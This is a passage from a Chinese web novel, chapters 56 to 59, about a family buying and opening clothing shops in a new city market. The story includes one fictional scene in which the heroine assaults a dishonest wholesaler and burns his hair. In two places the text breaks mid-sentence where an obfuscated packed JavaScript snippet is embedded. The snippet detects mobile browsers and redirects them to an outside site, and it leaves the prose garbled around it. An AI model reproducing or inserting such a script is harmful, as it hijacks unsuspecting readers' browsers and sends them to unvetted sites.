伍为民也觉得刘兰英闷在家里不行,好说歹说的,也劝她去刘瑞英店里帮忙。刘兰英拗不过他们,只得到店里去了。干起活来才发现,人一旦忙起来,就真的能忘掉很多忧愁。 自从刘兰英过来,喻庆山便支起了油锅,每天炸糯米糕,煮新鲜的豆渣合菜。品种多了,人气比之前更旺。刘瑞英照旧收桌子洗碗,兼带着炸糕煮合菜,刘兰英在前面送餐收钱,迎来送往。看到路人就喊一声:“进来吃个早饭!”“新鲜的豆渣合菜、才蒸的豆腐包来!”看到别人进来了,心里就会涌上小小的成就感。 店里不忙的时候,她就去隔壁看伍爱娜卖衣服。服装店的生意也分淡季旺季,闲下来了伍爱娜就给她妈烫头发、涂指甲油。刘兰英从一开始很抗拒、到后来慢慢合作,只花了几天时间。伍爱娜给她妈把卷发棒卷得满头都是,再包一块热毛巾。刘兰英有时就顶着一头卷发棒去隔壁早餐店收桌子。 刚开始还不习惯,担心别人笑话她。伍爱娜说有什么好担心的?街上好多人都顶着卷发棒去买菜呢,也没见谁笑话。刘兰英便慢慢接受了,还把姐姐也拉过去烫头。姐妹俩顶着新烫的卷发,再穿一件好衣裳,着实显得年轻了好几岁。 放暑假后,伍爱今每天都和刘兰英一起来这边,没过几天,刘子康也来了。两个男孩子每天清早在秀水的带领下跑跑步,然后秀水就骑车出门了。伍爱今很是怨怅,他大姐不在,他都没有对手练拳了。 “小晟哥也好久不来。”他幽怨地问他姐,“怎么他们都那么忙?” “你以为人人都跟你一样闲?”伍爱娜抢白她弟,“高晟在集训。人家可是要考大学的,年底就要搞专业考试呢。听说现在每天累得跟狗一样,哪有时间过来陪你玩。” 伍爱今很想纠正他姐的说法,他们那不是玩,是很认真地在练拳,但是……算了,跟她说不清。有什么话还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973271|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是跟大姐说吧,大姐懂他。 高晟忙就算了,秀水为什么也经常不着家呢?她挣了钱,自然是野心勃勃地想要扩大经营。从六月份开始,她们就在积极钻营,想要提前定几间服装大市场的门面,如今总算在轻工局负责这个项目的赵主任那边登了记。秀水还不放心,隔一段时间就和朱莎跑过去,打听一下建设的最新进展。 这天她大清早带孩子们跑完步,洗了个澡,正准备再出去,刘瑞英神神秘秘地朝她招了招手。 “水啊,过来,妈跟你说件事,”刘瑞英笑得有些谄媚,“你今天晚上有时间吧?去看场电影吧。” 秀水一头雾水,“我为什么要看电影?最近也没什么电影好看的。” 刘瑞英掏出两张票,小声说:“你姨又给你介绍了个对象,你俩先认识认识,处处看。” 从年初到现在,自从刘瑞英放出想招上门女婿的风声后,终于有一个人找刘兰英说合了。对方条件也不错,在锻造厂上班。家里弟兄两人,哥哥结了婚,弟弟在舞厅碰到过秀水,又打听喻家条件很好,自愿招上门。刘瑞英听了,喜不自胜,跟刘兰英合计了半天,才决定先让两人看场电影去。 现在年轻人处对象,都不要长辈在场了,嫌说话不自在,因此刘兰英出了这个主意,先看电影,如果双方有意,等电影结束了再一起吃个宵夜,聊聊天,有多少话说不得? 刘瑞英计划得好好的,并且也认为自己足够开明了,谁知秀水听了一口拒绝,“没时间!” 刘瑞英立刻生气了,“你是什么国家领导吗?还没时间!你一天天地忙些啥?叫你看个电影都没时间!” “我这不天天盯着服装门面吗?我靠这个挣钱呢!”秀水也不耐烦,“您就别瞎操心了,我才多大?刚过十九岁就急着把我嫁出去?我还没到法定婚龄呢,小心违法啊!” 刘瑞英忙道:“我也不是着急让你结婚。先见见呗!这小伙子多好,有工作单位,听说人也长得周周正正的……” “不去!”秀水根本不受她的撺掇,推着自行车就往外走,“我事业正在上升期,别打扰我!” “哎呀你……”刘瑞英扑上去拽住她的车把手,“叫你相个亲又不掉块肉!你以后难道不结婚?” 秀水理直气壮道:“我为什么年纪轻轻就结婚?还有美好的未来等着我!” “人家隔壁家姑娘十九岁都有孩子了,你怎么一点都不急?” “瑞英同志,你不要太狭隘,”秀水义正辞严地道:“你的女儿难道就只有结婚这一件事好做了吗?我问你,祖国统一了吗?国家富强了吗?我们这么年轻,就是要投身到祖国火热的建设当中去,贡献出自己的力量。生逢盛世,当不负盛世!不要整天被些儿女情长所牵绊!放手!” 说着她甩开刘瑞英的手,径直骑自行车走了。刘瑞英站在院子里,气得目瞪口呆。扒在后门口旁观这一幕的伍爱娜伍爱今等人,却是一边哈哈大笑,一边不由分说给姐姐伸了个大拇指。 56. 第 56 章 喻庆山走后,喻庆海两口子讨论了半天,还是拿不定主意。等玉贞晚上从娘家回来了,两人便去找她商量。 “玉贞啊,你说到底买不买呢?”蒋士芳说:“手里要是有门面,到时候你就不跟秀明去那么远了,就到城里卖衣服。我看你小叔家两个店的生意都好,那年建市搞庆典的时候,差点把门都挤破了……” 喻庆海坐在门前磨镰刀,说:“要是打算买,现在就要找亲戚们借钱了。” 他们家刚买了地基,手头的钱肯定不够。若是真买门面,就要马上筹集资金了。问题是借这么一大笔钱放在手上,万一到时买不上,岂不又白白欠了别人的人情? 玉贞撑着大肚子听完,虽然对门面房很是心动,也知道这么大一笔钱不是小事,便说:“要不,爸跟姑爹打个电话,问问他们俩吧。” 一句话提醒了喻庆海,第二天便骑车载着蒋士芳,到喻庆华那里去了。喻庆华也收到小弟的消息,正左右为难呢,三个人便结伴去了镇上。在最大的那家百货商店里,喻庆华用公用电话拨了李贵忠给的一个号码。 三个人都是第一次使用电话机,听到嘟嘟的声音紧张得不行。电话铃响了好一会儿,那边才有人接起来,听说他们找李贵忠,便出去喊人了。 又等了不知多久,话筒里才传出李贵忠的声音。李贵忠问他们什么事,声音里透着点惊慌。喻庆华和蒋士芳忙你一言我一语地把喻庆山告诉他们的消息说了,问他怎么办? 李贵忠生怕是家里出了什么事,听完才松了口气,果断道:“买!差多少钱我寄点回来!来不来得及?” “来得及!再说多少钱我还不清楚呢,”喻庆华见他这么肯定,也没多纠结,只是又问:“秀明的意思呢?要不你再问问秀明?庆海也想买呢。” “还问啥?先买了再说!”李贵忠说:“到时候哪怕自家不做生意,租出去难道不是钱?只要能买得上,先买!” 电话费一分钟一块钱,几人仓促间把事说完就要挂,李贵忠突然又想起了什么,道:“玉贞该生了吧?问问二弟和弟妹忙得过来么?要不我让秀明回去一趟?” “要他回来干啥?”蒋士芳忙说:“家里两个大人,还伺候不了玉贞?姑爹,你让他安心干活儿,到时候生了我们再写信!” 最后挂了电话,根据计时器付了十二块钱。喻庆海和蒋士芳心愿已了,也不嫌贵,和姐姐抢着付了钱。等骑车回家后,两口子便商量去哪里筹钱。然后喻庆海忙忙地骑车去弟弟家,让他们等门面开始发售了给他们送个信。玉贞和蒋士芳也都回了趟娘家,找兄弟姐妹借钱去了,张家一千李家五百的,七凑八凑,再加上家里存款,看看手里的钱也将近万把块钱了。 到了十月,玉贞的月份足了,到市医院生了个大胖小子。住院期间,喻庆山让兄嫂都到自家来住,方便去医院照顾大人孩子。玉贞的娘家妈在医院守着,蒋士芳和刘瑞英做好饭送过去。家里开着早餐店,炉子随时都有火,炖汤炖水很方便。 刘瑞英又教蒋士芳使用她家新买的高压锅和电饭煲。把米淘洗好了,放进电饭煲里,不用人照看,半小时就能做好一锅饭,简直再省心也没有,蒋士芳用了一次就会了。倒是那个高压锅,上气后总扑哧扑哧地响,蒋士芳有点怕,刘瑞英教她好几次,她才怕得好了些。等用高压锅炖了两回排骨猪蹄,蒋士芳就爱上了那个东西。半小时就把猪蹄炖得稀烂,真是又省功夫又省煤啊。 等玉贞坐完月子出来,家里办了满月酒。亲戚们都去送粥米,刘瑞英也买了一百个鸡蛋,染红了送过去,这叫作喜蛋。然后没过几天,喻庆山又风风火火开车回去了。 他告诉哥嫂,明天服装大世界就要开始对外发售门面房了,售房处设在轻工局。让他们务必把户口本和钱都带上,明天清早在轻工局那边和秀水她们碰头。 第二天清晨,秀水六点多钟就约上刘兰英和伍为民,一起骑车去了轻工局。大院里已经有好几个人等着了,每人都神情凝重,手里提着装钱的包。等了一两个钟头,院子里的人渐渐多了起来。朱莎也到了,和秀水等人打过招呼,凑到一起小声蛐蛐。直到快八点钟,轻工局的人都来上班了,喻庆海和喻庆华也赶过来了。 轻工局一楼,有间办公室的门口贴了张红纸,上写着“服装大世界售房处”。负责售房的赵科长带着银行的几个工作人员,刚打开办公室的门,外面守候的人便蜂拥而至,把小小的售房处挤得满满当当。赵科长打开抽屉,拿出准备好的材料,先给大家念了门面房的价格。 服装大世界最好的位置,是七层楼的精品大世界,价格也最贵。一楼面积最大的要四万五,小的也要四万块;二楼门面也是根据位置和大小,从三万到三万五不等,三四五楼依次递减。外面平房的门面也都根据位置优劣划分好了不同价位,从一万到两万块钱不等。 价格一公布出来,顿时屋子里嚷嚷成了菜市场。大多数人都在喊贵,“这也太贵了吧?五万块钱!一家人不吃不喝也要攒十年!” “能再便宜点不?平房的门面面积那么小,怎么还要一万五……” 赵科长高声重复:“不还价!不还价!先付钱先得!” 旁边有个工作人员又把一张现场示意图贴到了门外,上面清晰标注着房屋走向、门面价格。大家又一窝蜂地挤到外面去看示意图。屋里的人则喋喋不休地询问产权多少年、什么时候能搬进去等问题。 趁屋里人少,秀水和朱莎却直接把相中的门面订好了。她俩这段时间几乎都在工地上转悠,不用看示意图也知道每个位置的方位和优劣。秀水挑了一楼紧连着的五个门面,朱莎则挑了另一边的五个门面。都是最好的位 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本来伍为民和刘兰英听到价格后有点为难,他们家没什么钱,刘兰英又刚失了业。家里还有一个待嫁的姑娘、一个读书的小子,都要等着花钱。他们手里没点积蓄可不行。可是被这种抢购的火热氛围感染,刘兰英也忘了初衷,跟着激动起来。两口子拿着东挪西凑的钱,最后买了个一万二的门面。 那边喻庆华则挤进人群,买了两个相连的平房门面,喻庆海咬牙买了她旁边的那个。交钱的时候,两个人的手都直抖。 回家取钱的那些人还没赶过来,服装大世界的门面房就卖得差不多了。赵科长通知大家过一个月后都来开会,随后就锁了办公室,出去和银行工作人员存钱去了。喻庆海拿着收据,做梦似的跟着人群出了售房处。好多人仍舍不得走,站在那张简陋的示意图前轻声议论着。 “大姑,大爷,去我家吃饭吧,”秀水终于把门面买到手,浑身都清爽了。喻庆华却摆摆手,家里正是农忙时节,他们要赶回去干活儿。 秀水便和刘兰英等人回了家。路上刘兰英心里又轻松又沉重,好不容易把前两年建房欠的债还完了,又欠了一屁股新债。其中最大的债主就是自己的姐姐姐夫。听说他们也想买门面,刘瑞英拿出了积攒的四千块钱,——他们自家买门面的钱都是抵押房子贷的呢。 自从失业以来,刘兰英从来没对生活这么有信心过。她在心里盘算,等服装大世界盖好了,就让娜娜跟秀水开店,自家的门面先租出去。娜娜年纪还是太小,先跟她姐干几年了,再看看要不要自己干。至于她自己,她也想好了。工厂现在这情形她也不指望再回去上班了。等大姐那边的服装门面腾出来了,她就去开个百货店,和大姐在一起做生意! 57. 第 57 章 趁着服装大世界的门面还没交付,秀水和伍爱娜又去了江市进货。顺便秀水还想洽谈几个档次高的服装品牌,形成固定货源。到时新店开张,就不是以平价服装为主,而是以高档女装为主了。 经过筛选,现在她们在江市服装批发市场已经有了几个固定的批发档口,和店老板也日渐熟悉起来,这大大节省了沟通的成本。每次过去,老板看到她俩,就会笑着招呼:“来啦?” “来啦,老板,有什么新货尖货,都拿出来看看!” 各服装档口的商品,除了展示出来的那些,也会给长期合作的商铺留一批真正的好货。随着合作和信任的加深,现在秀水也进入了挑选尖货的行列。有时她们甚至只在档口扫一眼,就直接去档口的仓库里去挑选货物,那里品种更齐全。 批发市场附近的民居里,有各个档口租借的仓库。档口与档口之间也可以相互调货,但同时也有自己的江湖分争。比如某几个档口是生死仇敌,某几个档口的老板却好得穿一条裤子……,这都是秀水在一年多时间里根据老板的闲谈整理出来的,也是非常有必要了解的内容。如何在最短时间里拉近和老板的距离?当然是赞美他的朋友并诋毁他的敌人啊。 现在他们把货订好后,会雇一个经常全作的三轮车夫或几个挑夫来挨家收货。这天秀水跟几家服装品牌谈了谈合作意向,伍爱娜独自跑了五六家档口,把要进的服装都挑齐全了,随后两人会合,让三轮车把六七个编织袋送到了车站旁边。然后秀水和伍爱娜把袋子往车上搬。 搬到其中一个袋子时,伍爱娜看着露出来的裤子布料,忽然觉得不对劲。把裤子抽出来一整条,她拿在手里细看了看,脸色大变,忙制止住秀水,把所有裤子都刨出来,越看越是心慌。 “姐,我……我好像被人骗了,这跟我在档口看的货样明明都不一样……”伍爱娜说着,眼泪都快下来了。 秀水心一沉,赶紧把所有衣服都从货仓拖出来,说:“先别忙着哭,把别的衣服检查一下,看还有没有这种情况。” 伍爱娜忙吸了一下鼻子,把每个货物都重新检查了一遍。幸好别的衣服都没问题,唯独这一袋裤子,肉眼就能看出来质量很低劣。 “在哪家店买的?”秀水皱眉道:“不是让你装货的时候看着装吗?怎么会让他们以次充好?” 伍爱娜忍住惊慌,拼命回想当时是怎么回事,“是那家叫维伊娜女裤的店子。就是我俩一起进去的那家店……他们怎么偷换货物的我也不知道……哦我想起来了,装裤子的时候老板跟我讲价来着……” 她说到这里已经带上了哭腔:“姐,怎么办?我回去找他们去!” “你在车站等我,把货都照看好。”秀水把那个编织袋背到肩上,说:“我找他们去!” 哪怕伍爱娜没在这里退过货,也知道这绝非易事。更何况那家店是她们第一次合作,根本不清楚老板的为人。关键时刻,她觉得不能让她姐一人扛,忙说:“姐,我把东西存到这边,跟你一起去……” “不用!”秀水打断她,语气强硬地说:“你去了没用。把咱家的东西看好,等我回来!” 她说得那么镇定,让伍爱娜也跟着镇定了起来。她便含着眼泪,看她姐背着袋子往服装市场去,叮嘱道:“姐,小心点啊,实在不行就算了……” 算了?秀水心想,老娘这么辛苦挣钱,哪能被这帮混蛋说骗就骗了?那袋衣服沉得跟一麻袋谷子似的,也幸亏秀水天天练拳,攒出了一身的力气,才把衣服背到档口。等找到那家店,她把一袋子衣服朝店里一扔,说:“老板,这事干得不地道啊。” 里面一个男老板和女服务员正在打情骂俏。听到这话,男老板脸上的和气顿时一收,“怎么了?你谁啊,这是我们家衣服吗?” “你这不是明知故问吗?”秀水拿出一条裤子来,抖给他看:“这什么破玩意儿,跟我们在你店里看的样货可是两码事啊。” 男老板走过来,看了两眼,口气中满是不耐烦,“我发的货可不是这样的,你妹当时当面检查过的,都钱货两清了,你这会儿拿个袋子跑过来,我知道你这衣服从哪儿来的……” “你是不是眼瞎了?”秀水也没惯着他,“看不出这袋子就是你家的?还是打算就这么糊弄一个算一个?” 老板脸色难看起来,“你说谁呢?说谁瞎?一逼点丫头片子,张口就是骂人!我开门做生意的,我会糊弄你?你问问这街上的人我糊弄过谁……” “少废话,退了!”秀水懒得跟他罗嗦。这个档口以后将会进入她的黑名单,东西再好她们也不会来了。 “退什么退?批发出去的衣服你看谁退过?”既然撕破了脸,男老板也嚣张起来,“真是好笑!张口就是退货,从哪个乡下来的傻逼……” 秀水没再说话,看了他一会儿就走到店门口,转身就把卷闸门拉了下来。男老板顿时火冒三丈,大步走过来准备动手,“我操……”一语未了,当胸忽然挨了一记窝心脚,跌坐在编织袋上。 服务员响亮地惊叫起来。秀水把卷闸门拉严实了,转身面对老板。就见老板爬起来,不知从哪儿拿了个拖把,挥舞着扑过来。秀水侧身闪避,一把抓住拖把,当胸肘击,飞脚踹裆,趁男老板弯腰跪地,把他踢翻在地,一脚踩着胸口,问:“还想打?” “你他妈的……”男老板四肢划拉着想起身,秀水脚尖一点,那人呼吸不畅,顿时脸都憋红了。 秀水缓缓蹲下来,掏出打火机啪地点燃。火光照亮了她的眉眼,本来是姣好的容颜,此时却因为凶气而显得有些狰狞。 她啪啪地按着打火机,靠近男老板,拍了拍他的脸,轻声说:“谈谈吧。” “谈个屁!老子怕你?你打听打听……”话音未落,秀水突然把火苗朝前一撩。男老板的头发顿时烧了起来,他一边惊叫起来,一边把手拍打着头脸,这才把头上火苗扑灭。 “你可要想 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顿了顿,她又歪着头,打量着地上的人,目光又纯真、又疯狂,说:“你有人,我也有人。我还可以到别的地方进货,你呢?你可是有档口在这里的。想好了再说话,蠢货!想怎么样?我奉陪!” 她的表情把服务员吓住了,颤声说:“老板,退了吧。给她退了吧……” 男老板躺在地上,和抱着双臂看他的秀水对视了好一会儿,才咬牙说:“把钱退给她。” 女服务员立刻去找包,把一千多块钱数出来,递给了秀水。秀水仔细清点后,才不慌不忙打开卷闸门。外面的光线透进来,让她的身影看起来像一段剪影,又细又高。她就那么居高临下地对地上的男老板说:“像你这种人,迟早遭报应。还是好好做个人吧。” * 车站里,伍爱娜守着那几袋货,内心十分忐忑,不时朝服装大市场的方向张望。不知过了多久,远远就见一个高挑的人影走来,伍爱娜终于松了一口气。忙大喊:“姐,快来!我要上厕所!” 秀水快步朝这边跑,她则疾步冲向厕所。迅速解决内急后,她又慌慌张张跑回来,隔着老远就问:“怎么样怎么样?退了吗?” “退了。”秀水简短回答。 伍爱娜小心看着她的脸色,不敢置信地问:“……没吵吗?” “没吵,懒得跟他吵,”秀水拿手作了个切的动作,“小小吓了他一下。” “啊?”伍爱娜震惊了,仔细端详着她姐,见秀水服饰整洁,显然没吃什么亏,便放下心来,说:“那人居然被你吓住了?” “嗯,”秀水把货物又一袋袋朝货仓里搬,伍爱娜也忙过去帮忙。边搬袋子,她边小声问:“怎么吓的?我也学学!” “你就算了,”秀水笑道:“我要是不在旁边,你碰到这种事就姑且吃个亏。无非就是亏点钱,下回注意就是了。” 伍爱娜噘起了嘴,又想流眼泪,“太坏了那人!下回我肯定不会再上当了。再装货时谁跟我说话我也不理,我就盯着货……” 58. 第 58 章 在业主们的翘首期待中,服装大世界终于交房了。 最先完工的是服装精品大楼,因此秀水是第一批领到钥匙的业主。她第一时间就约了伍为民和刘兰英去看房子。进入服装大世界,临街的黄金地段,就是她和朱莎的店铺。秀水打开门,三个人进去,就见五个门面打通后,空间看着格外宽敞。刘兰英环顾一圈,觉得吃惊,这得摆多少衣服才摆得满啊。 秀水和伍为民在里面指指点点,哪里是展示区、哪里是试衣区、哪里是休憩区……她早就规划好了。她把自己画的规划草图拿给伍为民看,碰到他不懂的地方又详加解释。伍为民看明白后,立刻就默默思索和计算,要买哪些材料、找哪些相熟的工人来,才能又省钱又保证品质。 “不要怕花钱,”秀水忙又叮嘱他:“装修档次一定要高!我们这家店是专卖精品女装的,档次低了可不行!” 伍为民表示明白,他常年在外做木工,没吃过猪肉也看过猪跑,因此对秀水提议的黑白灰主色调接受良好。倒是刘兰英听了暗暗皱眉,认为色调不够鲜亮。不过她对自己的审美也有自知之明,很明智地没有开口。 等商定了秀水门店的装修,大家又去看了刘兰英家买的那个门面。绕过精品楼,后面就是平房区。那一带还没完工,工人们正紧锣密鼓地给墙面抹水泥。刘兰英站在自家门面的外头,看着不到二十平的空间,觉得份外狭小,不由道:“看了大的,再看这小的,真是不入眼!” “价钱摆在这儿呢!”伍为民笑道:“一分钱一分货,前头一个门面的价钱够在后头买三四个了。” 刘兰英当然知道这些,只是遗憾自家钱不够,不然她也想买前面精品楼的门面,看着就气派。想了想她又担心道:“这么偏僻的地方,也不知道租不租得出去!” 秀水笑道:“你就把心装在肚子里吧,听说前面精品楼刚交房,好多门面就已经有人预定下了。肯定能租出去!实在不行,咱就自己开店!” 这里的门面房可以自己做生意,也可以在服装大市场管委会登记,委托他们帮忙招租。没几天,后面平房区的门面也都交了房。喻庆华拿到钥匙后,自然是委托给了管委会。喻庆海那边则是打算让玉贞开店。刘兰英却是回家商量了一番,问了伍爱娜的意思后,才将自家店面租了出去。 原来伍爱娜自从在江市被骗后,就打消了自己开店的念头。独自开店,就意味着要一个人去进货。路上不太平,遭人骗、遭人抢是常有的事情。跟着她姐多省心哪,干什么事都有了主心骨,她只需要操心衣服款式就行。刚好这也是她最喜欢和最擅长的事。 “我跟我姐合作,这叫珠联璧合!”伍爱娜说:“我不管!这辈子我都要跟着她!” 伍为民和刘兰英也求之不得。刚满十八的小姑娘在外行走,大人总是不放心。若是跟秀水两人出去闯江湖,他们就放心了许多。谁让秀水干什么事情都那么靠谱呢。 夫妻俩跟秀水商定了,他们家也出一部分钱,新店算是两家合开的。利润二八开,伍爱娜占两成,秀水占八成。秀水也很爽快地答应了。不谈姐妹两的感情,在挑选服装方面,有时她还真得倚重伍爱娜。新店有了伍爱娜参股,她能省很多心,还能名正言顺地使唤表妹,又何乐而不为呢? 新店那边,伍为民天天盯着工人装修,秀水也时常跑去把关。眼看着门店一天天齐全起来了。招牌是白色磨砂水泥,上面嵌着黑色的几个字,秀娜服装店。黑白配色简约时尚,看着就很高级。透过落地玻璃,里面清清爽爽地分了五个区域,分别展示五种不同类型和特色的服装,有熟女风、淑女风,也有年轻风格的潮牌。前面有展台,摆放着皮包、鞋子。后面左右两侧各三个试衣间。中间位置是收银台,休憩区摆放着沙发和茶几。 展柜都是伍为民按照秀水画的图纸亲手做的,秀水亲自调了颜色,看人上了漆。米色的皮沙发是秀水跑遍怀安市的商场才买到的。装修完毕后,伍为民开了灯,里里外外地看着,越看越满意。然后他背着手,逛了逛别家装修的门店。逛完后自豪地摇头:跟秀水的店子比起来,别家都差远了!看来看去,还是他们家的店铺最高级啊! 这段时间玉贞和喻庆海也在装修自家的门店。他们家那个小门店装起来简单,刷个大白接通电源即可。玉贞还给孩子断了奶,暂时住到了喻家。她一个乡下女孩,首次开店,什么事情都不懂。秀水便亲自带她去跑营业执照,又让伍为民帮她找人装修门店。 店子很快装修一新,玉贞又拿不准进什么货,秀水便建议她专营内衣裤袜等物。玉贞是个听劝的,知道大家都是为她好,事事都肯听听别人的意见。后来她和秀水伍爱娜又搭伙去江市进货,批发什么东西也让秀水和伍爱娜参详。就这么着,也渐渐把小店支撑起来了。 所有人都想赶在春节前开业,因此所有店铺都在忙着装修,服装大世界处处都很繁忙。在店子装修的同时,秀水又开始招聘新人。刘兰英听了,忙给她推荐了几个。棉纺厂那么多失业的小姐妹,如果能给她们找份工作,人人都求之不得啊。 刘兰英推荐的几个人,当然都是年轻姑娘,身材不错又能说会道,最重要的是人也本份,不是那种刁滑爱偷懒的。秀水斟酌着,从名单中挑了两个,刘兰英忙兴兴头头地骑车去了棉纺厂宿舍,找到了那两人。一个叫沈从玉,一个叫刘玉洁,听说帮人卖衣服,两人满口答应了,还拉着刘兰英谢了半天。 人找好了,伍爱娜便带着她们在旧店实习了几天。装修结束后,旧店就由两个新人守着,秀水和伍爱娜一趟趟往江市和新店跑,把衣服分批次运到新店,开始布置了。何处该放置模特、何处该展示饰品、何处该添置绿植,全是两人商量着来。玉贞那边也要偶尔去看看。旧店每天也要盘陈,两人忙得昏头胀脑,脸上却满满的都是兴奋,没有一丝疲色。 赶在腊月到来之前,服装大世界的门店装修陆续落幕,管委会投放了广告,电视台和报社的工作人员都过来采访拍摄。其中秀水的店铺因为装修得最雅致,摄像师在她家拍摄的时间也格外长。随着广告片在电视台轰炸播出,顿时怀安市的大街小巷都知道了,服装大世界即将开业了。 冬月二十八那天是正式开业的日子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986788|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大清早秀水就和伍爱娜骑着车过去了。她们把自行车停在了一条街外。步行过去时,发现精品大楼前搭了舞台、摆了一排排椅子。工作人员正在寒风中调试音响。绕过舞台,晨曦中好多店铺已经开了灯,里外都有人忙碌,竟有人来得比她们还早。 秀水忙和伍爱娜去了自家店里。沈从玉和刘玉洁已经在门外等着了。几人进屋开灯,秀水给他们交代了注意事项。这几天他们已经把该准备的都准备好了。衣服都熨烫清点完毕,价位签也都贴好了,窗玻璃擦得透亮,桌子和沙发也一尘不染,连绿植的每片叶子都闪闪发亮。色色布置妥当,就等开业了。 简单早饭后,四人都化了淡妆,刷了眉,涂了口红,然后便开始换衣服。衣服是统一式样的。冬天都穿黑色毛呢大衣,露出白衬衣的领口,脖子上系一根丝巾。四人都是高挑身材,大衣一穿,丝巾一系,个个都是时尚的窈窕佳人。 才刚收拾妥当,服装大市场便来了人。陆续有人从玻璃门前经过,看向里面时,目光中流露出惊叹。 “姐,我们店装修得太高档了,这些人会不会不敢进来?”伍爱娜有点担心。 “不会!”沈从玉忙忙地否定,“咱们是精品大楼的脸面嘛,肯定比平房那边要高档的。放心,怀安市有钱人也不少!” 正说着,便有人从门外走进来,沈从玉和伍爱娜忙齐声说:“欢迎光临!” 那人吓得又缩了回去,伍爱娜吐了吐舌头,说:“完了完了,把人给吓跑了!” “呸呸呸!没完没完!才没有完呢,”沈从玉忙轻声制止。她才找到这份称心如意的新工作,一心盼着店里生意红火呢,怎么能开业第一天就说这种不吉利的话。 “看来太热情了也不行!”刘玉洁轻声笑道。 “对的,”秀水说:“等人进来了,看两件衣服了,你们再过去询问。” 几人又等了一会儿,就见外面路过的人越来越多了。终于,有两个衣着时髦的女士相携着走进了店里。其中一人环顾左右,惊叹道:“哇,搞得跟江市的大商场一样!” 另一个直奔衣服,在架子上翻找片刻,拿起一款上衣问同伴,“这件大衣怎么样?” 沈从玉这才快步上前,笑容满面地问:“我拿一件合适的码子给您试下看看?这件红色的大衣是经典款,上身效果特别好!” 正说着,外面舞台上响起了锣鼓声和鞭炮声,开业典礼开始了。 秀水见店里有条不紊,便到门外看了看。就见门前广场上,不知何时来了许多人,黑压压的一大片。电视台的摄像师扛着机器跑前跑后地拍摄着。舞台上一阵热闹的歌舞过后,领导们开始上台致词。随后礼炮轰响、礼花缤纷。舞台上的演出还在继续,便有人群涌进了服装大世界大大小小的门店中。 “姐,别看了!”伍爱娜从门里探头,小声喊秀水,“快进来收款!” 秀水赶紧进了店。短短片刻,她们家店里也有五六个人在试衣服了,而这还只是开始。她坐进收银台,一边娴熟地收银找零,一边不无欣慰地想,这波稳了!又能小赚一笔了! 59. 第 59 章 早餐店里,喻庆山和刘瑞英一心牵挂着两头。前几天他们就决定了,要趁着服装大世界开业之际,带几箱包子去那边卖,顺便看看秀水的生意怎么样。等早上最忙的那一阵过去后,刘瑞英便忙忙地解开围裙说:“把包子装好,我要准备走了。” 喻庆山的心情也很急迫,却还是说:“这也太早了。这会儿早不早晚不晚的,谁会买包子吃啊?” 刘瑞英只得作罢,好容易等到十点多钟,她又说:“这可该走了!路上还要骑十几分钟呢。” 在旁边店里帮忙的刘兰英也说:“可以去了。早点去看看也好,可以多呆一会儿,反正有泡沫箱保着温呢。” 三个人搭手,装了满满两箱包子。喻庆山骑摩托三轮把刘瑞英和自行车送到了服装大世界附近。开业典礼早就结束了,但舞台还没拆,老远就听到高音喇叭放着港台流行歌曲。什么容易受伤的女人、什么大海带回我的忧愁等等。街两边人头攒动,仿佛全城的人都到这里来了。 喻庆山远远地看了一眼,就放下了一半的心。他从车厢里搬出自行车,又把两个箱子装到车架上,然后恋恋不舍地看了看精品大楼,说:“我走了啊。” “快回去,兰英一个人忙不过来。”马上就到中午饭点了,早餐店可离不开人。等喻庆山开车走了,刘瑞英才推着自行车进了服装大世界,一路磕磕绊绊全是人。停车场里停着黑压压的自行车和摩托车。不时有些推车的经过,也全是来卖小吃和盒饭的。 刘瑞英忙推车朝里走,首先路过的就是秀娜服装店,朝里看了看,嚯!一屋的人! 这下子刘瑞英彻底踏实了。秀水的生意这么好,从银行贷的钱不至于还不上了。 她们家的房子保住了! 她也没进屋,这会儿孩子们太忙,她可不能进去给她们添麻烦。沿着服装市场的巷子,她一边走,一边喊:“刚出锅的豆腐包来!一块钱四个!” 绕过精品大楼,里面是一间间狭窄的店铺,几乎每个门面都开张了,衣服从屋里一直挂到门外,把过道挤得窄窄的。整个市场里大人孩子的衣帽鞋袜、内衣外套,样样俱全。每个店都有人逛、有人热烈地讲价。一片热火朝天的景像。 要是在这附近开一家豆腐包店,生意该有多好啊! 伴随着刘瑞英的喊声,很快就有人从店里探出头来:“豆腐包,来两个!” “哎!”刘瑞英响亮地答应着,一边取包子一边利落地找零,还说:“老板,生意好得很嘛!” 对方往往也带着笑容答:“还可以!还可以!” 就这么着,一条巷子逛完了,她的豆腐包也见了底。等经过玉贞的店铺时,就见里面也有两个人正在看秋衣裤和袜子。虽是第一次做生意,玉贞竟一点也没怵,跟别人有说有笑的,看着挺大方。 “玉贞,拿着!”刘瑞英把留给她的包子递出去,玉贞忙跑出来接着了,欣喜道:“小婶,你怎么来了?” “来卖包子,顺便看看你们。”刘瑞英笑着,小声问:“生意还好吗?” 玉贞喜滋滋地点头,来不及寒暄,又进去接待顾客了。刘瑞英心头更喜,推着车继续轻快地走,路上心想,蒋士芳在家不定怎么担心呢,得立刻把这喜讯告诉她。 平房区的尽头也有一个出口。不过刘瑞英想再看看秀水的店,便没有出去,而是推着空车又从另一个巷子绕了回去。不长的一段路,因为人多,足足地走了十几分钟。可刘瑞英一点也不急,一点也不恼。反而笑眯眯地打量着每个经过的人。 